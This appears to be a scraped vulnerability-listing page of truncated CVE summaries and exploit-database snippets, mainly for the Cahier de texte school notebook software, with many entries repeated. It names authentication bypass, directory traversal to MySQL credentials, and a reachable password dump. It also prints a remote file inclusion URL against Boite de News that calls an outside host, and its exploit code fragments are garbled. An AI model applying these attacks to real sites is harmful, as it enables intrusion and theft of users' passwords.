CVE-2006-6849

administration/index.php in Cahier de texte CDT 2.2 does not properly exit when authentication fails, which allows remote attackers to perform unauthorized administrative actions...

CVE-2006-6849: Undefined Security Weakness

administration/index.php in Cahier de texte CDT 2.2 does not properly exit when authentication fails, which allows remote attackers to perform unauthorized administrative actions...

CVE-2006-6849

administration/index.php in Cahier de texte CDT 2.2 does not properly exit when authentication fails, which allows remote attackers to perform unauthorized administrative actions...

Cahier de texte 2.2 Bypass General Access Protection Exploit

No description provided by source. ? / Informations ============ Affected.scr..: Cahier de texte V2.2 last version Poc.ID........: 17061224 Type..........: Bypass general access restriction Risk.level....: High Conditions....: None Src.download..: www.etab.ac-caen.fr/bsauveur/cahierdetexte/...

Cahier de texte 2.2 Bypass General Access Protection Exploit

Exploit for unknown platform in category web applications ============================================================ Cahier de texte 2.2 Bypass General Access Protection Exploit ============================================================ 'Administrateur' header"Location: ../index.php"; ; else...

Cahier de texte 2.2 - Bypass General Access Protection

Cahier de texte 2.2 - Bypass General Access Protection 'Administrateur' header"Location: ../index.php"; ; else header"Location: ../index.php";? ... / if!isset$GET'host' || empty$GET'host' headers; if!isset$GET'wanted' $wanted = 'index.php'; $host = $GET'host'; $prox = $GET'prox'; $path =...

Boite de News <= 4.0.1 (index.php) Remote File Inclusion Vulnerability

No description provided by source. Boite de News v4.0.1 Remote File Inclusion Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1801boiteden-401.zip Found By: the master exploit: http://Target/Path/boitenews4/index.php?urlindex=http://cmd.gif?...

CVE-2006-6254

administration/telecharger.php in Cahier de texte 2.0 allows remote attackers to obtain unparsed content source code of files via the chemin parameter, as demonstrated using directory traversal sequences to obtain the MySQL username and password from conncahierdetexte.php. NOTE: it is not clear...

CVE-2006-6253

Cahier de texte 2.0 stores sensitive information under the web root, possibly with insufficient access control, which might allow remote attackers to obtain all users' passwords via a direct request for administration/dump.sql...

CVE-2006-6253

Cahier de texte 2.0 stores sensitive information under the web root, possibly with insufficient access control, which might allow remote attackers to obtain all users' passwords via a direct request for administration/dump.sql...

CVE-2006-6253

Cahier de texte 2.0 stores sensitive information under the web root, possibly with insufficient access control, which might allow remote attackers to obtain all users' passwords via a direct request for administration/dump.sql...

CVE-2006-6254

administration/telecharger.php in Cahier de texte 2.0 allows remote attackers to obtain unparsed content source code of files via the chemin parameter, as demonstrated using directory traversal sequences to obtain the MySQL username and password from conncahierdetexte.php. NOTE: it is not clear...

CVE-2006-6253

CVE-2006-6253 concerns Cahier de texte 2.0, which reportedly stores sensitive information under the web root. The vulnerability description indicates insufficient access control may allow remote attackers to directly request administration/dump.sql and obtain all users’ passwords. The connected d...

CVE-2006-6254

CVE-2006-6254 affects Cahier de texte 2.0, specifically the file administration/telecharger.php. The vulnerability allows remote attackers to read unparsed file content by supplying a chemin parameter, with evidence of directory traversal used to retrieve sensitive data (e.g., MySQL credentials f...

CVE-2006-6260

SQL injection vulnerability in login.asp of Redbinaria Sistema Integrado de Administracion de Portales (SIAP) allows remote attackers to execute arbitrary SQL commands via the username parameter. The issue is described in CVE-2006-6260 and covered by multiple sources (NVD, CVE list). Documented i...

CVE-2006-6260: Undefined Security Weakness

SQL injection vulnerability in login.asp in Redbinaria Sistema Integrado de Administracion de Portales SIAP allows remote attackers to execute arbitrary SQL commands via the username parameter...

CVE-2006-6253: Undefined Security Weakness

Cahier de texte 2.0 stores sensitive information under the web root, possibly with insufficient access control, which might allow remote attackers to obtain all users' passwords via a direct request for administration/dump.sql...

CVE-2006-6254: Undefined Security Weakness

administration/telecharger.php in Cahier de texte 2.0 allows remote attackers to obtain unparsed content source code of files via the chemin parameter, as demonstrated using directory traversal sequences to obtain the MySQL username and password from conncahierdetexte.php. NOTE: it is not clear...

15061124.txt

!/usr/bin/perl INFORMATIONS ============ Affected.scr..: Cahier de texte V2.0 Poc.ID........: 15061124 Type..........: Predictable backup filename, Source disclosure Risk.level....: High Conditions....: registerglobals = on Src.download..: www.etab.ac-caen.fr/bsauveur/cahierdetexte/ Poc.link........

Cahier de texte 2.0 (Database Backup/Source Disclosure) Remote Exploit

No description provided by source. !/usr/bin/perl INFORMATIONS ============ Affected.scr..: Cahier de texte V2.0 Poc.ID........: 15061124 Type..........: Predictable backup filename, Source disclosure Risk.level....: High Conditions....: registerglobals = on Src.download..:...